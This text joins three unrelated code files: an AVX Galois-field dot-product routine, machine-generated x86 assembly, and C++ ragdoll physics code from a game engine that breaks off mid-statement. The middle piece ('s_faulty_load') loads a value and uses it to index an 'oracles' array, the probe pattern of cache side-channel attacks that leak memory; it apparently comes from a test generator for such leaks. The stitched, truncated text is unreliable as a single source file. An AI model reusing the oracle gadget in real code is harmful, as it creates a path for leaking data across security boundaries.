xgft1_hi %define xgft3_lo xgft1_lo %define xgft3_hi xgft1_hi %define x0 xmm0 %define xtmpa xmm1 %define xp1 xmm2 %define xp2 xmm3 %define xp3 xmm4 %endif align 16 mk_global gf_3vect_dot_prod_avx, function func(gf_3vect_dot_prod_avx) FUNC_SAVE SLDR len, len_m sub len, 16 SSTR len_m, len jl .return_fail xor pos, pos vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte sal vec, LOG_PS ;vec *= PS. Make vec_i count by PS SLDR dest1, dest1_m mov dest2, [dest1+PS] SSTR dest2_m, dest2 mov dest3, [dest1+2*PS] SSTR dest3_m, dest3 mov dest1, [dest1] SSTR dest1_m, dest1 .loop16: vpxor xp1, xp1 vpxor xp2, xp2 vpxor xp3, xp3 mov tmp, mul_array xor vec_i, vec_i .next_vect: SLDR src, src_m mov ptr, [src+vec_i] vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f} vmovdqu xgft1_hi, [tmp+16] ; " Ax{00}, Ax{10}, ..., Ax{f0} %ifidn PS,8 ; 64-bit code vmovdqu xgft2_lo, [tmp+vec*(32/PS)] ;Load array Bx{00}, Bx{01}, ..., Bx{0f} vmovdqu xgft2_hi, [tmp+vec*(32/PS)+16] ; " Bx{00}, Bx{10}, ..., Bx{f0} vmovdqu xgft3_lo, [tmp+vec*(64/PS)] ;Load array Cx{00}, Cx{01}, ..., Cx{0f} vmovdqu xgft3_hi, [tmp+vec*(64/PS)+16] ; " Cx{00}, Cx{10}, ..., Cx{f0} add tmp, 32 add vec_i, PS %endif XLDR x0, [ptr+pos] ;Get next source vector vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft1_hi, xgft1_lo ;GF add high and low partials vpxor xp1, xgft1_hi ;xp1 += partial %ifidn PS,4 ; 32-bit code vmovdqu xgft2_lo, [tmp+vec*(32/PS)] ;Load array Bx{00}, Bx{01}, ..., Bx{0f} vmovdqu xgft2_hi, [tmp+vec*(32/PS)+16] ; " Bx{00}, Bx{10}, ..., Bx{f0} %endif vpshufb xgft2_hi, x0 ;Lookup mul table of high nibble vpshufb xgft2_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft2_hi, xgft2_lo ;GF add high and low partials vpxor xp2, xgft2_hi ;xp2 += partial %ifidn PS,4 ; 32-bit code sal vec, 1 vmovdqu xgft3_lo, [tmp+vec*(32/PS)] ;Load array Cx{00}, Cx{01}, ..., Cx{0f} vmovdqu xgft3_hi, [tmp+vec*(32/PS)+16] ; " Cx{00}, Cx{10}, ..., Cx{f0} sar vec, 1 add tmp, 32 add vec_i, PS %endif vpshufb xgft3_hi, x0 ;Lookup mul table of high nibble vpshufb xgft3_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft3_hi, xgft3_lo ;GF add high and low partials vpxor xp3, xgft3_hi ;xp3 += partial cmp vec_i, vec jl .next_vect SLDR dest1, dest1_m SLDR dest2, dest2_m XSTR [dest1+pos], xp1 XSTR [dest2+pos], xp2 SLDR dest3, dest3_m XSTR [dest3+pos], xp3 SLDR len, len_m add pos, 16 ;Loop on 16 bytes at a time cmp pos, len jle .loop16 lea tmp, [len + 16] cmp pos, tmp je .return_pass ;; Tail len mov pos, len ;Overlapped offset length-16 jmp .loop16 ;Do one more overlap pass .return_pass: mov return, 0 FUNC_RESTORE ret .return_fail: mov return, 1 FUNC_RESTORE ret endproc_frame section .data align 16 mask0f: dq 0x0f0f0f0f0f0f0f0f, 0x0f0f0f0f0f0f0f0f ;;; func core, ver, snum slversion gf_3vect_dot_prod_avx, 02, 05, 0192
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x465a, %rdi clflush (%rdi) nop nop and $9418, %r8 mov $0x6162636465666768, %rbx movq %rbx, (%rdi) nop nop nop nop add $64038, %rsi lea addresses_A_ht+0xd1a, %rsi lea addresses_A_ht+0x6116, %rdi nop nop xor %rdx, %rdx mov $43, %rcx rep movsw nop nop nop nop add $20004, %rbx lea addresses_A_ht+0xd54c, %rsi lea addresses_normal_ht+0xb7ba, %rdi nop nop nop dec %r9 mov $126, %rcx rep movsb sub $51097, %rbx lea addresses_normal_ht+0xb95e, %rsi lea addresses_UC_ht+0x1cf1a, %rdi nop nop nop nop add $10895, %r15 mov $57, %rcx rep movsb nop nop nop and $45845, %rdx lea addresses_WC_ht+0x18e3b, %r15 nop and %rdx, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm4 movups %xmm4, (%r15) nop nop nop nop sub $62699, %rdx lea addresses_D_ht+0xbe1a, %rdi clflush (%rdi) nop nop nop nop and %r9, %r9 movb $0x61, (%rdi) nop nop nop nop nop add $44525, %r15 lea addresses_WC_ht+0x4d5a, %rsi lea addresses_UC_ht+0x431a, %rdi nop nop add $49517, %r8 mov $92, %rcx rep movsw nop nop nop xor %rsi, %rsi lea addresses_A_ht+0x5d52, %r8 nop nop nop nop nop cmp $9114, %rdi mov (%r8), %r15w nop nop nop nop dec %r15 lea addresses_normal_ht+0x9f1a, %rcx inc %rbx mov (%rcx), %esi nop nop nop nop nop add $12120, %rbx lea addresses_WT_ht+0x1821a, %rsi lea addresses_UC_ht+0xc96e, %rdi clflush (%rdi) nop nop cmp %rbx, %rbx mov $54, %rcx rep movsq nop nop xor %rbx, %rbx lea addresses_UC_ht+0x15d1a, %rdi nop cmp %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm7 vmovups %ymm7, (%rdi) nop nop nop nop dec %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rax push %rdi push %rsi // Store lea addresses_UC+0x1e85a, %r12 and $41320, %rdi mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovups %ymm0, (%r12) nop nop sub $27982, %r15 // Faulty Load lea addresses_US+0xb31a, %r15 nop nop nop xor %rsi, %rsi mov (%r15), %ax lea oracles, %r12 and $0xff, %rax shlq $12, %rax mov (%r12,%rax,1), %rax pop %rsi pop %rdi pop %rax pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'00': 40} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#include "stdafx.h" #include "alife_space.h" #include "hit.h" #include "PHDestroyable.h" #include "CharacterPhysicsSupport.h" #include "PHMovementControl.h" #include "CustomMonster.h" #include "PhysicsShell.h" #include "..\Include/xrRender/KinematicsAnimated.h" #include "Actor.h" #include "CustomZone.h" #include "Extendedgeom.h" #include "Physics.h" #include "level.h" #include "PHActivationShape.h" #include "IKLimbsController.h" #include "PHCapture.h" #include "PHCollideValidator.h" #include "ai/stalker/ai_stalker.h" #include "interactive_motion.h" #include "animation_movement_controller.h" //const float default_hinge_friction = 5.f;//gray_wolf comment #ifdef DEBUG # include "PHDebug.h" #endif // DEBUG #include "../xr_3da/device.h" //#define USE_SMART_HITS //#define USE_IK void NodynamicsCollide(bool& do_colide,bool bo1,dContact& c,SGameMtl * /*material_1*/,SGameMtl * /*material_2*/) { dBodyID body1=dGeomGetBody(c.geom.g1); dBodyID body2=dGeomGetBody(c.geom.g2); if(!body1||!body2||(dGeomUserDataHasCallback(c.geom.g1,NodynamicsCollide)&&dGeomUserDataHasCallback(c.geom.g2,NodynamicsCollide)))return; do_colide=false; } void OnCharacterContactInDeath(bool& do_colide,bool bo1,dContact& c,SGameMtl * /*material_1*/,SGameMtl * /*material_2*/) { dSurfaceParameters &surface=c.surface; CCharacterPhysicsSupport* l_character_physic_support=0; if (bo1) { l_character_physic_support=(CCharacterPhysicsSupport*)retrieveGeomUserData(c.geom.g1)->callback_data; } else { l_character_physic_support=(CCharacterPhysicsSupport*)retrieveGeomUserData(c.geom.g2)->callback_data; } surface.mu=l_character_physic_support->m_curr_skin_friction_in_death; } IC bool is_imotion(interactive_motion *im) { return im && im->is_enabled(); } CCharacterPhysicsSupport::~CCharacterPhysicsSupport() { set_collision_hit_callback(nullptr); if(m_flags.test(fl_skeleton_in_shell)) { if(m_physics_skeleton)m_physics_skeleton->Deactivate(); xr_delete(m_physics_skeleton);//!b_skeleton_in_shell } xr_delete(m_PhysicMovementControl); VERIFY(!m_interactive_motion); } CCharacterPhysicsSupport::CCharacterPhysicsSupport(EType atype,CEntityAlive* aentity) : m_pPhysicsShell(aentity->PPhysicsShell()), m_EntityAlife(*aentity), mXFORM(aentity->XFORM()), m_ph_sound_player(aentity), m_interactive_motion(0) { m_PhysicMovementControl=xr_new<CPHMovementControl>(aentity); m_flags.assign(0); m_eType=atype; m_eState=esAlive; //b_death_anim_on = false; m_flags.set(fl_death_anim_on,FALSE); m_pPhysicsShell = NULL; //m_saved_impulse = 0.f; m_physics_skeleton = NULL; //b_skeleton_in_shell = false; m_flags.set(fl_skeleton_in_shell,FALSE); m_shot_up_factor =0.f; m_after_death_velocity_factor =1.f; m_ik_controller = NULL; m_BonceDamageFactor =1.f; m_collision_hit_callback = NULL; m_Pred_Time = 0.0; m_was_wounded = false; switch(atype) { case etActor: m_PhysicMovementControl->AllocateCharacterObject(CPHMovementControl::actor); m_PhysicMovementControl->SetRestrictionType(CPHCharacter::rtActor); break; case etStalker: m_PhysicMovementControl->AllocateCharacterObject(CPHMovementControl::ai); m_PhysicMovementControl->SetRestrictionType(CPHCharacter::rtStalker); m_PhysicMovementControl->SetActorMovable(false); break; case etBitting: m_PhysicMovementControl->AllocateCharacterObject(CPHMovementControl::ai); } }; void CCharacterPhysicsSupport::SetRemoved() { m_eState=esRemoved; if(m_flags.test(fl_skeleton_in_shell))//b_skeleton_in_shell { if(m_pPhysicsShell->isEnabled()) { m_EntityAlife.processing_deactivate(); } m_pPhysicsShell->Deactivate(); xr_delete(m_pPhysicsShell); } else { if(m_physics_skeleton)m_physics_skeleton->Deactivate(); xr_delete(m_physics_skeleton); m_EntityAlife.processing_deactivate(); } } void CCharacterPhysicsSupport::in_Load(LPCSTR section) { skel_airr_ang_factor = pSettings->r_float(section,"ph_skeleton_airr_ang_factor"); skel_airr_lin_factor = pSettings->r_float(section,"ph_skeleton_airr_lin_factor"); hinge_force_factor1 = pSettings->r_float(section,"ph_skeleton_hinger_factor1"); skel_ddelay = pSettings->r_float(section,"ph_skeleton_ddelay"); skel_remain_time = skel_ddelay; skel_fatal_impulse_factor = pSettings->r_float(section,"ph_skel_fatal_impulse_factor"); //gray_wolf>Читаем из ltx параметры для поддержки изменяющегося трения у персонажей во время смерти skeleton_skin_ddelay = pSettings->r_float(section,"ph_skeleton_skin_ddelay"); skeleton_skin_remain_time = skeleton_skin_ddelay; skeleton_skin_friction_start = pSettings->r_float(section,"ph_skeleton_skin_friction_start"); skeleton_skin_friction_end = pSettings->r_float(section,"ph_skeleton_skin_friction_end"); character_have_wounded_state = pSettings->r_bool(section,"ph_character_have_wounded_state"); skeleton_skin_ddelay_after_wound= pSettings->r_float(section,"ph_skeleton_skin_ddelay_after_wound"); skeleton_skin_remain_time_after_wound= skeleton_skin_ddelay_after_wound; pelvis_factor_low_pose_detect= pSettings->r_float(section,"ph_pelvis_factor_low_pose_detect"); //gray_wolf< if(pSettings->line_exist(section,"ph_skel_shot_up_factor")) m_shot_up_factor=pSettings->r_float(section,"ph_skel_shot_up_factor"); if(pSettings->line_exist(section,"ph_after_death_velocity_factor")) m_after_death_velocity_factor=pSettings->r_float(section,"ph_after_death_velocity_factor"); m_flags.set(fl_specific_bonce_demager,TRUE); if(pSettings->line_exist(section,"bonce_damage_factor")) { m_BonceDamageFactor=pSettings->r_float(section,"bonce_damage_factor_for_objects"); }else { m_BonceDamageFactor=pSettings->r_float("collision_damage","bonce_damage_factor_for_objects"); } CPHDestroyable::Load(section); } void CCharacterPhysicsSupport::in_NetSpawn(CSE_Abstract* e) { if(m_EntityAlife.use_simplified_visual ()) { m_flags.set(fl_death_anim_on,TRUE); IKinematics* ka=smart_cast<IKinematics*>(m_EntityAlife.Visual()); VERIFY(ka); ka->CalculateBones_Invalidate(); ka->CalculateBones(); CollisionCorrectObjPos(m_EntityAlife.Position()); m_pPhysicsShell = P_build_Shell(&m_EntityAlife,false); ka->CalculateBones_Invalidate(); ka->CalculateBones(); return; } CPHDestroyable::Init();//this zerows colbacks !!; IKinematicsAnimated*ka= smart_cast<IKinematicsAnimated*>(m_EntityAlife.Visual()); m_death_anims.setup(ka, m_EntityAlife.cNameSect().c_str(), pSettings); if(!m_EntityAlife.g_Alive()) { if(m_eType==etStalker) ka->PlayCycle("waunded_1_idle_0"); else ka->PlayCycle("death_init"); }else if( !m_EntityAlife.animation_movement_controlled( ) ) { ka->PlayCycle( "death_init" );///непонятно зачем это вообще надо запускать ///этот хак нужен, потому что некоторым монстрам ///анимация после спона, может быть вообще не назначена } ka->dcast_PKinematics()->CalculateBones_Invalidate(); ka->dcast_PKinematics()->CalculateBones(); CPHSkeleton::Spawn(e); movement()->EnableCharacter(); movement()->SetPosition(m_EntityAlife.Position()); movement()->SetVelocity (0,0,0); if(m_eType!=etActor) { m_flags.set(fl_specific_bonce_demager,TRUE); m_BonceDamageFactor=1.f; } if(Type() == etStalker) { m_hit_animations.SetupHitMotions(*smart_cast<IKinematicsAnimated*>(m_EntityAlife.Visual())); } anim_mov_state.init(); anim_mov_state.active = m_EntityAlife.animation_movement_controlled(); } void CCharacterPhysicsSupport::CreateCharacter( ) { //if( m_eType == etBitting ) //return; if( m_PhysicMovementControl->CharacterExist( ) )return; CollisionCorrectObjPos( m_EntityAlife.Position( ), true ); m_PhysicMovementControl->CreateCharacter( ); m_PhysicMovementControl->SetPhysicsRefObject( &m_EntityAlife ); m_PhysicMovementControl->SetPosition ( m_EntityAlife.Position( ) ); } void CCharacterPhysicsSupport::SpawnInitPhysics(CSE_Abstract* e) { //if(!m_physics_skeleton)CreateSkeleton(m_physics_skeleton); if(m_EntityAlife.g_Alive()) { #ifdef DEBUG if(ph_dbg_draw_mask1.test(ph_m1_DbgTrackObject)&&stricmp(PH_DBG_ObjectTrack(),*m_EntityAlife.cName())==0) { Msg("CCharacterPhysicsSupport::SpawnInitPhysics obj %s before collision correction %f,%f,%f",PH_DBG_ObjectTrack(),m_EntityAlife.Position().x,m_EntityAlife.Position().y,m_EntityAlife.Position().z); } #endif #ifdef USE_IK if( etStalker == m_eType || etActor == m_eType ) CreateIKController( ); #endif if( !m_EntityAlife.animation_movement_controlled( ) ) CreateCharacter( ); #ifdef DEBUG if( ph_dbg_draw_mask1.test( ph_m1_DbgTrackObject ) && stricmp( PH_DBG_ObjectTrack( ), *m_EntityAlife.cName()) == 0 ) { Msg( "CCharacterPhysicsSupport::SpawnInitPhysics obj %s after collision correction %f,%f,%f", PH_DBG_ObjectTrack(),m_EntityAlife.Position( ).x, m_EntityAlife.Position().y, m_EntityAlife.Position().z ); } #endif //m_PhysicMovementControl.SetMaterial( ) } else { ActivateShell( NULL ); } } void CCharacterPhysicsSupport::in_NetDestroy( ) { m_PhysicMovementControl->DestroyCharacter( ); if( m_physics_skeleton ) { m_physics_skeleton->Deactivate( ); xr_delete( m_physics_skeleton ); } if(m_pPhysicsShell) { m_pPhysicsShell->Deactivate(); xr_delete(m_pPhysicsShell); } m_flags.set( fl_skeleton_in_shell, FALSE ); CPHSkeleton::RespawnInit( ); CPHDestroyable::RespawnInit( ); m_eState = esAlive; xr_delete( m_interactive_motion ); DestroyIKController( ); } void CCharacterPhysicsSupport::in_NetSave( NET_Packet& P ) { CPHSkeleton::SaveNetState( P ); } void CCharacterPhysicsSupport::in_Init( ) { //b_death_anim_on = false; //m_pPhysicsShell = NULL; //m_saved_impulse = 0.f; } void CCharacterPhysicsSupport::in_shedule_Update( u32 DT ) { //CPHSkeleton::Update(DT); if( !m_EntityAlife.use_simplified_visual ( ) ) CPHDestroyable::SheduleUpdate( DT ); else if( m_pPhysicsShell&&m_pPhysicsShell->isFullActive( ) && !m_pPhysicsShell->isEnabled( ) ) { m_EntityAlife.deactivate_physics_shell( ); } movement( )->in_shedule_Update( DT ); #if 0 if( anim_mov_state.active ) { DBG_OpenCashedDraw( ); DBG_DrawMatrix( mXFORM, 0.5f ); DBG_ClosedCashedDraw( 5000 ); } #endif } #ifdef DEBUG string64 sdbg_stalker_death_anim = "none"; LPSTR dbg_stalker_death_anim = sdbg_stalker_death_anim; BOOL b_death_anim_velocity = TRUE; #endif BOOL g_bCopDeathAnim = TRUE; const float cmp_angle = M_PI/10.f; const float cmp_ldisp = 0.1f; IC bool cmp(const Fmatrix &f0, const Fmatrix &f1 ) { Fmatrix if0;if0.invert(f0); Fmatrix cm;cm.mul_43(if0,f1); Fvector ax;float ang; Fquaternion q; q.set(cm); q.get_axis_angle(ax,ang); return ang < cmp_angle && cm.c.square_magnitude() < cmp_ldisp* cmp_ldisp ; } bool is_similar(const Fmatrix &m0,const Fmatrix &m1,float param) { Fmatrix tmp1;tmp1.invert(m0); Fmatrix tmp2;tmp2.mul(tmp1,m1); Fvector ax;float ang; Fquaternion q; q.set(tmp2); q.get_axis_angle(ax,ang); return _abs(ang)<M_PI/2.f; /* return fsimilar(tmp2._11,1.f,param)&& fsimilar(tmp2._22,1.f,param)&& fsimilar(tmp2._33,1.f,param)&& fsimilar(tmp2._41,0.f,param)&& fsimilar(tmp2._42,0.f,param)&& fsimilar(tmp2._43,0.f,param); */ /* fsimilar(tmp2._12,0.f,param)&& fsimilar(tmp2._13,0.f,param)&& fsimilar(tmp2._21,0.f,param)&& fsimilar(tmp2._23,0.f,param)&& fsimilar(tmp2._31,0.f,param)&& fsimilar(tmp2._32,0.f,param)&& fsimilar(tmp2._41,0.f,param)&& fsimilar(tmp2._42,0.f,param)&& fsimilar(tmp2._43,0.f,param); */ } #include "stalker_movement_manager.h" void CCharacterPhysicsSupport::KillHit(SHit& H) { TestForWounded(); Fmatrix prev_pose;prev_pose.set(mXFORM); ActivateShell(H.who); #ifdef DEBUG if(Type() == etStalker && xr_strcmp(dbg_stalker_death_anim, "none") != 0) { if(cmp(prev_pose,mXFORM)) { xr_delete(m_interactive_motion); if(b_death_anim_velocity) m_interactive_motion = xr_new<imotion_velocity>(); else m_interactive_motion = xr_new<imotion_position>(); m_interactive_motion->setup(dbg_stalker_death_anim, m_pPhysicsShell); } } #endif if (g_bCopDeathAnim) { float hit_angle = 0; MotionID m = m_death_anims.motion(m_EntityAlife, H, hit_angle); CAI_Stalker* const holder = m_EntityAlife.cast_stalker(); if (holder && (holder->wounded())) // || holder->movement().current_params().cover() m = MotionID(); if (m.valid()) { xr_delete(m_interactive_motion); m_interactive_motion = xr_new<imotion_position>(); m_interactive_motion->setup(m, m_pPhysicsShell); H.impulse *= 0.1f; } } if (!m_was_wounded) { H.impulse *= (H.type() == ALife::eHitTypeExplosion ? 1.f : skel_fatal_impulse_factor); } if(is_imotion(m_interactive_motion)) m_interactive_motion->play(m_pPhysicsShell); if(!is_imotion(m_interactive_motion)) m_flags.set(fl_block_hit,TRUE); } void CCharacterPhysicsSupport::in_Hit(SHit& H, bool is_killing) { if(m_EntityAlife.use_simplified_visual ()) return; if(m_flags.test(fl_block_hit)) { VERIFY(!m_EntityAlife.g_Alive()); if(Device.dwTimeGlobal-m_EntityAlife.GetLevelDeathTime()>=2000) m_flags.set(fl_block_hit,FALSE); else return; } is_killing=is_killing||(m_eState==esAlive&&!m_EntityAlife.g_Alive()); if(m_EntityAlife.g_Alive()&&is_killing&&H.type()==ALife::eHitTypeExplosion&&H.power>70.f) CPHDestroyable::Destroy(); if((!m_EntityAlife.g_Alive()||is_killing)&&!fis_zero(m_shot_up_factor)&&H.type()!=ALife::eHitTypeExplosion) { H.dir.y+=m_shot_up_factor; H.dir.normalize(); } if(!m_pPhysicsShell&&is_killing) { KillHit(H); } if(!(m_pPhysicsShell&&m_pPhysicsShell->isActive())) { if(!is_killing&&m_EntityAlife.g_Alive()) m_PhysicMovementControl->ApplyHit(H.dir,H.impulse,H.type()); #ifdef USE_SMART_HITS if(Type()==etStalker) { m_hit_animations.PlayHitMotion(dir,p_in_object_space,element,m_EntityAlife); } #endif // USE_SMART_HITS }else m_pPhysicsShell->applyHit(H.p_in_bone_space,H.dir,H.impulse,H.boneID,H.type()); } IC void CCharacterPhysicsSupport:: UpdateDeathAnims () { VERIFY(m_pPhysicsShell->isFullActive()); if(!m_flags.test(fl_death_anim_on) && !is_imotion(m_interactive_motion))//!m_flags.test(fl_use_death_motion)//!b_death_anim_on&&m_pPhysicsShell->isFullActive() { smart_cast<IKinematicsAnimated*>(m_EntityAlife.Visual())->PlayCycle("death_init"); m_flags.set(fl_death_anim_on,TRUE); } } void CCharacterPhysicsSupport::in_UpdateCL( ) { if( m_eState==esRemoved ) { return; } CalculateTimeDelta( ); if( m_pPhysicsShell ) { VERIFY( m_pPhysicsShell->isFullActive( ) ); m_pPhysicsShell->SetRagDoll( );//Теперь шела относиться к классу объектов cbClassRagDoll if( !is_imotion(m_interactive_motion ) )//!m_flags.test(fl_use_death_motion) m_pPhysicsShell->InterpolateGlobalTransform( &mXFORM ); else m_interactive_motion->update( m_pPhysicsShell ); UpdateDeathAnims(); UpdateFrictionAndJointResistanse( ); } else if ( !m_EntityAlife.g_Alive( ) && !m_EntityAlife.use_simplified_visual( ) ) { ActivateShell( NULL ); m_PhysicMovementControl->DestroyCharacter( ); } else if( ik_controller( ) ) ik_controller( )->Update(); #ifdef DEBUG if(Type()==etStalker && ph_dbg_draw_mask1.test(phDbgHitAnims)) { Fmatrix m; m_hit_animations.GetBaseMatrix(m,m_EntityAlife); DBG_DrawMatrix(m,1.5f); /* IKinematicsAnimated *K = smart_cast<IKinematicsAnimated*>(m_EntityAlife.Visual()); u16 hb = K->LL_BoneID("bip01_head"); u16 pb = K->LL_GetBoneRoot(); u16 nb = K->LL_BoneID("bip01_neck"); u16 eb = K->LL_BoneID("eye_right"); Fmatrix &mh = K->LL_GetTransform(hb); Fmatrix &mp = K->LL_GetTransform(pb); Fmatrix &me = K->LL_GetTransform(eb); Fmatrix &mn = K->LL_GetTransform(nb); float d = DET(mh); if(Fvector().sub(mh.c,mp.c).magnitude() < 0.3f||d<0.7 )//|| Fvector().sub(me.c,mn.c) < 0.5 { K->CalculateBones_Invalidate(); K->CalculateBones(); ; } */ } #endif } void CCharacterPhysicsSupport::CreateSkeleton(CPhysicsShell* &pShell) { R_ASSERT2(!pShell,"pShell already initialized!!"); if (!m_EntityAlife.Visual()) return; #ifdef DEBUG CTimer t;t.Start(); #endif pShell = P_create_Shell(); pShell->preBuild_FromKinematics(smart_cast<IKinematics*>(m_EntityAlife.Visual())); pShell->mXFORM.set(mXFORM); pShell->SetAirResistance(skel_airr_lin_factor,skel_airr_ang_factor); pShell->SmoothElementsInertia(0.3f); pShell->set_PhysicsRefObject(&m_EntityAlife); SAllDDOParams disable_params; disable_params.Load(smart_cast<IKinematics*>(m_EntityAlife.Visual())->LL_UserData()); pShell->set_DisableParams(disable_params); pShell->Build(); #ifdef DEBUG Msg("shell for %s[%d] created in %f ms",*m_EntityAlife.cName(),m_EntityAlife.ID(),t.GetElapsed_sec()*1000.f); #endif } void CCharacterPhysicsSupport::CreateSkeleton() { if(m_pPhysicsShell) return; Fvector velocity; m_PhysicMovementControl->GetCharacterVelocity(velocity); m_PhysicMovementControl->GetDeathPosition (m_EntityAlife.Position()); m_PhysicMovementControl->DestroyCharacter(); if (!m_EntityAlife.Visual()) return; m_pPhysicsShell = P_create_Shell(); m_pPhysicsShell->build_FromKinematics(smart_cast<IKinematics*>(m_EntityAlife.Visual())); m_pPhysicsShell->mXFORM.set(mXFORM); m_pPhysicsShell->SetAirResistance(skel_airr_lin_factor, skel_airr_ang_factor); m_pPhysicsShell->set_PhysicsRefObject(&m_EntityAlife); SAllDDOParams disable_params; disable_params.Load(smart_cast<IKinematics*>(m_EntityAlife.Visual())->LL_UserData()); m_pPhysicsShell->set_DisableParams(disable_params); m_pPhysicsShell->set_JointResistance(0.f); m_pPhysicsShell->Activate(true); velocity.mul(1.25f*m_after_death_velocity_factor); m_pPhysicsShell->set_LinearVel(velocity); smart_cast<IKinematics*>(m_EntityAlife.Visual())->CalculateBones(); //b_death_anim_on=false; m_flags.set(fl_death_anim_on,FALSE); m_eState=esDead; } bool CCharacterPhysicsSupport::DoCharacterShellCollide() { if(m_eType==etStalker) { CAI_Stalker* OBJ=smart_cast<CAI_Stalker*>(&m_EntityAlife); VERIFY (OBJ); return !OBJ->wounded(); } return true; } void CCharacterPhysicsSupport::CollisionCorrectObjPos(const Fvector& start_from,bool character_create/*=false*/) { Fvector shift;shift.sub(start_from,m_EntityAlife.Position()); Fbox box; if(character_create)box.set(movement()->Box()); else box.set(m_EntityAlife.BoundingBox()); Fvector vbox;Fvector activation_pos; box.get_CD(activation_pos,vbox);shift.add(activation_pos);vbox.mul(2.f); activation_pos.add(shift,m_EntityAlife.Position()); CPHActivationShape activation_shape; activation_shape.Create(activation_pos,vbox,&m_EntityAlife); if(!DoCharacterShellCollide()&&!character_create) { CPHCollideValidator::SetCharacterClassNotCollide(activation_shape); } activation_shape.Activate(vbox,1,1.f,M_PI/8.f); m_EntityAlife.Position().sub(activation_shape.Position(),shift); activation_shape.Destroy(); } void CCharacterPhysicsSupport::set_movement_position( const Fvector &pos ) { VERIFY( movement() ); CollisionCorrectObjPos( pos, true ); movement()->SetPosition( m_EntityAlife.Position() ); } void CCharacterPhysicsSupport::ActivateShell ( CObject* who ) { DestroyIKController( ); IKinematics* K=smart_cast<IKinematics*>( m_EntityAlife.Visual( ) ); //animation movement controller issues bool anim_mov_ctrl =m_EntityAlife.animation_movement_controlled( ); CBoneInstance &BR = K->LL_GetBoneInstance( K->LL_GetBoneRoot( ) ); Fmatrix start_xform; start_xform.identity( ); CBlend *anim_mov_blend = 0; //float blend_time = 0; if( anim_mov_ctrl ) { m_EntityAlife.animation_movement( )->ObjStartXform( start_xform ); anim_mov_blend = m_EntityAlife.animation_movement( )->ControlBlend( ); /* VERIFY( anim_mov_blend->blend_state() != CBlend::eFREE_SLOT ); anim_mov_blend->timeCurrent -= 2 * Device.fTimeDelta * anim_mov_blend->speed; blend_time = anim_mov_blend->timeCurrent; anim_mov_blend->playing = true; K->CalculateBones_Invalidate( ); K->CalculateBones (); anim_mov_blend->playing = false; */ m_EntityAlife.destroy_anim_mov_ctrl( ); BR.set_callback_overwrite(TRUE); } // if( !m_physics_skeleton ) CreateSkeleton( m_physics_skeleton ); if( m_eType == etActor ) { CActor* A=smart_cast<CActor*>( &m_EntityAlife ); R_ASSERT2( A, "not an actor has actor type" ); if( A->Holder( ) ) return; if( m_eState==esRemoved )return; } //////////////////////this needs to evaluate object box////////////////////////////////////////////////////// #pragma todo("KRodin: V621 Consider inspecting the 'for' operator. It's possible that the loop will be executed incorrectly or won't be executed at all.") for( u16 I = K->LL_BoneCount( )-1; I!=u16(-1); --I ) K->LL_GetBoneInstance( I ).reset_callback( ); if( anim_mov_ctrl ) //we do not whant to move by long animation in root BR.set_callback_overwrite(TRUE); K->CalculateBones_Invalidate(); K->CalculateBones (); //////////////////////////////////////////////////////////////////////////// if( m_pPhysicsShell ) return; Fvector velocity; m_PhysicMovementControl->GetCharacterVelocity ( velocity ); velocity.mul( 1.3f 